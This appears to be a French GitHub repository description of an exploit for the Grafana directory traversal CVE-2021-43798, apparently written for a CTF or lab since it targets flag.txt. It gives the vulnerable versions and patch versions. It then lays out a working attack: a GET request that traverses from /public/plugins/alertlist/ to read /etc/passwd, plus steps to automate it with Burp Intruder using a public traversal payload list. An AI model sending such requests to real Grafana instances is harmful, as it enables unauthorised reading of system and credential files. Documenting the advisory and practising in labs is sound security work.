iris288/cve-2021-43798Exploit pour la traversée de répertoire Grafana (CVE-2021-43798) avec intégration Burp Suite et automatisation de payload pour accéder aux fichiers locaux sur les instances vulnérables.
Les versions de Grafana 8.0.0-beta1 à 8.3.0 (à l'exception des versions corrigées) sont vulnérables à une traversée de répertoire, permettant l'accès à des fichiers locaux.
Grafana est une plateforme open-source de surveillance et d'observabilité. Les versions de Grafana 8.0.0-beta1 à 8.3.0 (à l'exception des versions corrigées) sont vulnérables à une traversée de répertoire, permettant l'accès à des fichiers locaux. Le chemin d'URL vulnérable est : <grafana_host_url>/public/plugins//, où se trouve l'ID du plugin pour tout plugin installé. Grafana Cloud n'a jamais été vulnérable. Il est conseillé aux utilisateurs de mettre à niveau vers les versions corrigées 8.0.7, 8.1.8, 8.2.7 ou 8.3.1. L'avis de sécurité GitHub contient plus d'informations sur les chemins d'URL vulnérables, l'atténuation et le calendrier de divulgation.
Utilisation de Burp Suite
Envoyez GET au Repeater
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
Envoyez ensuite à l'Intruder GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
Utilisez Sniper pour ATTAQUER Copiez le payload depuis github https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal
Traitement du payload Match [{FILE]} replace with {flag.txt}
